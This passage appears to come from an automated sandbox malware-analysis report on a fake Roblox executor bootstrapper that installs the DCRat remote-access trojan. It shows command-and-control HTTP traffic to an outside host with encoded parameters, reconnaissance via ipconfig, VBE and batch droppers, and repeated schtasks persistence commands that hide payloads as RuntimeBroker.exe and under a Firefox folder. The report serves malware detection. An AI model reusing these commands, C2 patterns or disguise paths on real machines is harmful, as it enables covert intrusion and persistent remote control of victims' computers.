0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:16:03.400136948 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:16:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50053	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:16:08.407896996 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:16:09.359098911 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:16:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.93.27	443	2488	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 20:12:10 UTC	81	OUT	GET /asset/discord.json HTTP/1.1 Host: getsolara.dev Connection: Keep-Alive
2024-11-07 20:12:11 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 20:12:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"7d966f73b6ce74a610dddaf0d0951ed8" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ejzu7VSOXKZpw3KIk7nFQf7C9R6Dzo1%2BFDiVDZ7LAivp5dXtKMdEfIna9bHn7oCyek%2FrrAWAq0BkUsdqxrKs9Ox1WcE6eLQDmsnRkDswHeON5OCxQUqM5tBd0gey1jVC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8deffa08ee60e773-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19438&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2812&recv_bytes=695&delivery_rate=151385&cwnd=32&unsent_bytes=0&cid=cffdecce8bb56714&ts=572&x=0"
2024-11-07 20:12:11 UTC	109	IN	Data Raw: 36 37 0d 0a 7b 0a 20 20 20 20 22 61 72 67 73 22 20 3a 20 7b 0a 20 20 20 20 20 20 20 22 63 6f 64 65 22 20 3a 20 22 38 50 67 73 70 52 59 41 51 75 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 63 6d 64 22 20 3a 20 22 49 4e 56 49 54 45 5f 42 52 4f 57 53 45 52 22 2c 0a 20 20 20 20 22 6e 6f 6e 63 65 22 20 3a 20 22 2e 22 0a 20 7d 0d 0a Data Ascii: 67{ "args" : { "code" : "8PgspRYAQu" }, "cmd" : "INVITE_BROWSER", "nonce" : "." }
2024-11-07 20:12:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	104.21.93.27	443	2488	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 20:12:13 UTC	56	OUT	GET /api/endpoint.json HTTP/1.1 Host: getsolara.dev
2024-11-07 20:12:14 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 20:12:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"8aaedc859bbe13807f4688d278cf929d" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z7Rd9d692IiG7vmk8fZKhdAObkYfXOz323rMAsPwkbpkHH51I3u%2FRCWMyc0Z5B3HmiFLxCwy2FI9e5Z09ZBAUPXAZnJLSB29zFUi1q0j3CSmpesr6YyasgX6s4%2FAFl36"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=0 Server: cloudflare CF-RAY: 8deffa1b0eb00bbe-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1096&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2813&recv_bytes=694&delivery_rate=2592658&cwnd=32&unsent_bytes=0&cid=6a80eeb377ccb0e5&ts=220&x=0"
2024-11-07 20:12:14 UTC	353	IN	Data Raw: 32 31 63 0d 0a 7b 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 20 22 31 2e 32 32 22 2c 0a 20 20 20 20 22 53 75 70 70 6f 72 74 65 64 43 6c 69 65 6e 74 22 3a 20 22 76 65 72 73 69 6f 6e 2d 30 63 31 61 31 30 37 30 34 63 62 30 34 33 63 63 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 56 65 72 73 69 6f 6e 22 3a 20 22 33 2e 31 32 36 22 2c 0a 20 20 20 20 22 42 6f 6f 74 73 74 72 61 70 70 65 72 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 62 33 37 63 38 37 35 35 2e 73 6f 6c 61 72 61 77 65 62 2d 61 6c 6a 2e 70 61 67 65 73 2e 64 65 76 2f 64 6f 77 6e 6c 6f 61 64 2f 73 74 61 74 69 63 2f 66 69 6c 65 73 2f 42 6f 6f 74 73 74 72 61 70 70 65 72 2e 65 78 65 22 2c 0a 20 20 20 20 22 53 6f 66 74 77 61 72 65 55 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: 21c{ "BootstrapperVersion": "1.22", "SupportedClient": "version-0c1a10704cb043cc", "SoftwareVersion": "3.126", "BootstrapperUrl": "https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe", "SoftwareUrl":"https
2024-11-07 20:12:14 UTC	194	IN	Data Raw: 3a 2f 2f 63 6c 69 65 6e 74 73 65 74 74 69 6e 67 73 2e 72 6f 62 6c 6f 78 2e 63 6f 6d 2f 76 32 2f 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 2f 57 69 6e 64 6f 77 73 50 6c 61 79 65 72 2f 63 68 61 6e 6e 65 6c 2f 6c 69 76 65 22 2c 0a 20 20 20 20 22 43 6c 69 65 6e 74 48 61 73 68 22 3a 22 32 66 61 37 36 63 62 37 62 34 31 63 38 61 37 39 35 64 31 30 34 38 37 31 32 33 30 37 34 31 32 65 36 66 33 30 32 36 33 32 34 37 66 37 39 61 61 33 37 66 36 39 65 62 38 38 35 65 38 37 38 64 34 39 22 2c 0a 20 20 20 20 22 43 68 61 6e 67 65 6c 6f 67 22 3a 22 5b 2b 5d 20 55 70 64 61 74 65 64 22 0a 7d 0d 0a Data Ascii: ://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live", "ClientHash":"2fa76cb7b41c8a795d1048712307412e6f30263247f79aa37f69eb885e878d49", "Changelog":"[+] Updated"}
2024-11-07 20:12:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	128.116.44.3	443	2488	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 20:12:15 UTC	119	OUT	GET /v2/client-version/WindowsPlayer/channel/live HTTP/1.1 Host: clientsettings.roblox.com Connection: Keep-Alive
2024-11-07 20:12:15 UTC	576	IN	HTTP/1.1 200 OK content-length: 119 content-type: application/json; charset=utf-8 date: Thu, 07 Nov 2024 20:12:15 GMT server: Kestrel cache-control: no-cache strict-transport-security: max-age=3600 x-frame-options: SAMEORIGIN roblox-machine-id: d11cfc8b-b2e0-90c6-a4f0-2246ef4fe439 x-roblox-region: us-central_rbx x-roblox-edge: fra4 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://ncs.roblox.com/upload"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1} connection: close
2024-11-07 20:12:15 UTC	119	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 30 2e 36 35 30 2e 30 2e 36 35 30 30 37 34 33 22 2c 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 55 70 6c 6f 61 64 22 3a 22 76 65 72 73 69 6f 6e 2d 30 63 31 61 31 30 37 30 34 63 62 30 34 33 63 63 22 2c 22 62 6f 6f 74 73 74 72 61 70 70 65 72 56 65 72 73 69 6f 6e 22 3a 22 31 2c 20 36 2c 20 30 2c 20 36 35 30 30 37 34 33 22 7d Data Ascii: {"version":"0.650.0.6500743","clientVersionUpload":"version-0c1a10704cb043cc","bootstrapperVersion":"1, 6, 0, 6500743"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	104.20.23.46	443	2488	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 20:12:18 UTC	99	OUT	GET /dist/v18.16.0/node-v18.16.0-x64.msi HTTP/1.1 Host: www.nodejs.org Connection: Keep-Alive
2024-11-07 20:12:18 UTC	497	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 07 Nov 2024 20:12:18 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate location: https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi strict-transport-security: max-age=31536000; includeSubDomains; preload x-vercel-id: cle1::9mjdh-1731010338148-a5d3d6e1bbc4 CF-Cache-Status: DYNAMIC X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8deffa34ed508d26-DFW
2024-11-07 20:12:18 UTC	20	IN	Data Raw: 66 0d 0a 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 0a 0d 0a Data Ascii: fRedirecting...
2024-11-07 20:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:12:05
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\AYUGPPBj0x.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\AYUGPPBj0x.exe"
Imagebase:	0x400000
File size:	906'752 bytes
MD5 hash:	EAE6D4D5EAE0CF85FF69EB89946E4185
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:12:08
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Bootstrapper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\Bootstrapper.exe"
Imagebase:	0x195abf70000
File size:	819'200 bytes
MD5 hash:	2A4DCF20B82896BE94EB538260C5FB93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:12:08
Start date:	07/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:12:08
Start date:	07/11/2024
Path:	C:\Users\user\AppData\Local\Temp\kendalcp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\kendalcp.exe"
Imagebase:	0x7ff7699e0000
File size:	1'165'474 bytes
MD5 hash:	0D015CC111D53A019E680B0BED11FCAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:12:09
Start date:	07/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /c ipconfig /all
Imagebase:	0x7ff602970000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:12:09
Start date:	07/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:12:09
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe"
Imagebase:	0xce0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:12:09
Start date:	07/11/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff6293e0000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:12:16
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:12:16
Start date:	07/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:12:16
Start date:	07/11/2024
Path:	C:\blocksavesperfMonitorDll\reviewDll.exe
Wow64 process (32bit):	false
Commandline:	"C:\blocksavesperfMonitorDll\reviewDll.exe"
Imagebase:	0x4b0000
File size:	848'384 bytes
MD5 hash:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1848465544.0000000002711000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\common files\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Users\Public\AccountPictures\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOj" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:12:17
Start date:	07/11/2024
Path:	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Imagebase:	0x950000
File size:	848'384 bytes
MD5 hash:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_3, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	15:12:18
Start date:	07/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2488 -s 2192
Imagebase:	0x7ff6889c0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:12:18
Start date:	07/11/2024
Path:	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Imagebase:	0xb10000
File size:	848'384 bytes
MD5 hash:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001C.00000002.1950301019.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001C.00000002.1950301019.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:12:18
Start date:	07/11/2024
Path:	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe"
Imagebase:	0xa00000
File size:	848'384 bytes
MD5 hash:	D9DAC9E1D95E84E6AEC084CF2DDB3F3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001D.00000002.1950355148.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001D.00000002.1950355148.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 00007FFD9B880A38 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

